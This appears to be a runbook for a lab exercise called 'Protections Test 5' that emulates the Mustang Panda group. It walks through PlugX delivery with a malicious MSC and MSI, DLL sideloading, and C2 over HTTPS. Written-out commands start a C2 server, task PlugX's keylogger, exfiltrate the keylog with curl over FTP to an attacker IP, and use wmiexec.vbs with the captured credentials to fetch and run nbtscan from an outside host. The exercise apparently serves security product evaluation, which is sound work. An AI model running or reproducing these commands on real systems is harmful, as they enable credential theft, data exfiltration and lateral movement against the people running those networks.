#
Protections Test 5 Scenario
#
Setup
#
Procedures
☣️ Initiate an RDP session to the Kali attack host
driftmark (174.3.0.70)☣️ In a new terminal window, start the evalsC2server if it is not already running:
cd /opt/kalidev/mustang_panda/controlServer/ sudo go build -o controlServer main.go sudo ./controlServer -c config/protections.ymlExpected Output
... [SUCCESS] 2024/04/01 10:10:11 Started handler simplefileserver [SUCCESS] 2024/04/01 10:10:11 Started handler toneshell [SUCCESS] 2024/04/01 10:10:11 Started handler plugx [INFO] 2024/04/01 10:10:11 Waiting for connections
☣️ Initiate an RDP session to the jumpbox host
dreadfort (10.26.3.125)From the jumpbox, initiate an RDP session to the workstation
ironoaks (10.26.4.104)
#
Step 1 - Execution and Command and Control
#
Voice Track
Step 1 assumes Mustang Panda has sent a phishing link that has bypassed email security
measures and reached the user awaynwood. awaynwood opens the malicious link
which initiates the download of the attacker's MSC file
Calendar_Invitation.msc.
When awaynwood double-clicks to open the file, they
are presented with what appears to be a PDF to open. Instead, clicking the PDF
executes PowerShell commands to download and execute the attacker's MSI file
2025erdt.msi.
The MSI file 2025erdt.msi drops the legitimate executable
rc.exe, the Plug X loader rcdll.dll, and the Plug X shellcode
resinfo.dat. Then, the MSI file 2025erdt.msi executes the legitimate
executable rc.exe, which DLL sideloads the Plug X loader rcdll.dll.
The
Plug X loader decrypts and loads the Plug X shellcode resinfo.dat into
memory for execution. On execution, Plug X will drop and display the decoy PDF
Meeting Invitation.pdf then establish an HTTPS-based C2 channel to
MaesterJam2025.com:443
#
Procedures
On the workstation
ironoaks (10.26.4.104), open FireFox and browse to the malicious link to initiate the download of theCalendar_Invitation.mscfileOpen the Downloads folder, right-click
Calendar_Invitation.msc> Properties. At the bottom of the Properties window, check to "Unblock" the file and click "Ok". Then, double-click to executeCalendar_Invitation.mscviammc.exe. When the MSI window appears with the PDF file, double-click the PDF file.☣️ Switch to Kali and confirm C2 registration of a new Plug X session
#
Reference Tables
#
Step 2 - Credential Access
#
Voice Track
After establishing C2 communications, Mustang Panda uses the keylogger module in
Plug X to log the destination, username, and password when awaynwood initiates
an RDP session to heartshome (10.26.3.106) using their administrator account
awaynwood.server. Mustang Panda then tasks Plug X to use curl.exe to exfiltrate
the keylog file over FTP.
#
Procedures
☣️ Task Plug X with starting its keylogger module
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1004"}'Expected Output
Created keylogger thread.
Return to the RDP to
ironoaks (10.26.4.104)and type slowly "remote desktop" into the Search Bar. Type slowly the IP address10.26.3.106. Click "Show Options" then typeawaynwood.serverfor the username then click "Connect". Type slowly the passwordBadge-Chappedwhen prompted then click "Connect".After waiting 5 minutes, disconnect from the RDP session to return to the RDP session to
ironoaks (10.26.4.104)☣️ Switch to Kali and task Plug X to exfiltrate the keylog file using curl to the attacker FTP server
python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args": "curl.exe -T C:\\Users\\Public\\k.log ftp://ftp_user:Gracious-Coat@49.67.12.21/pp/ --ftp-create-dirs"}'
#
Reference Tables
#
Step 3 - Lateral Movement
#
Voice Track
With the keylogged destination and credentials, Mustang Panda moves laterally to
heartshome (10.26.3.106) using wmiexec.vbs. Mustang Panda executes commands remotely
on the file server to download and execute nbtscan.exe against the network,
discovering additional hosts in the network
#
Procedures
☣️ Check the contents of the keylog file to confirm the RDP destination, username, and password
Badge-Chappedwere keylogged successfullycat /srv/ftp/pp/k.log☣️ Task Plug X with downloading
wmiexec.vbstoC:\Windows\Temp\python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1003", "args": "C:\\Windows\\Temp\\wmiexec.vbs", "file": "wmiexec.vbs"}'Expected Output
File saved successfully.
☣️ Task Plug X with using
wmiexec.vbsto download nbtscan to the file serverheartshome (10.26.3.106)python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args": "cmd.exe /c \"cscript C:\\Windows\\Temp\\wmiexec.vbs /cmd 10.26.3.106 vale\\awaynwood.server Badge-Chapped \"curl.exe http://essos-news.com/files2/nbtscan.exe -o C:\\users\\awaynwood.server\\AppData\\Roaming\\Acrobat.exe\""}'☣️ Task Plug X with using
wmiexec.vbsto execute nbtscan on the file serverheartshome (10.26.3.106)python3 /opt/kalidev/mustang_panda/Resources/controlServer/evalsC2client.py --set-task 123 '{"id": "0x1000", "args": "cmd.exe /c \"cscript C:\\Windows\\Temp\\wmiexec.vbs /cmd 10.26.3.106 vale\\awaynwood.server Badge-Chapped \"C:\\users\\awaynwood.server\\AppData\\Roaming\\Acrobat.exe 10.26.3.0/24\""}'Expected Output
10.26.3.100 VALE\EYRIE SHARING DC 10.26.3.101 VALE\BLACKTYDE SHARING 10.26.3.102 VALE\GODSWOOD SHARING 10.26.3.105 VALE\REDFORT SHARING 10.26.3.125 WORKGROUP\DREADFORT SHARING
#
Reference Tables
#
End of Test
#
Voice Track
This step includes the shutdown procedures for the end of this Protections Test
#
Procedures
- Return to the RDP to
ironoaks (10.26.4.104). Close all windows and sign out.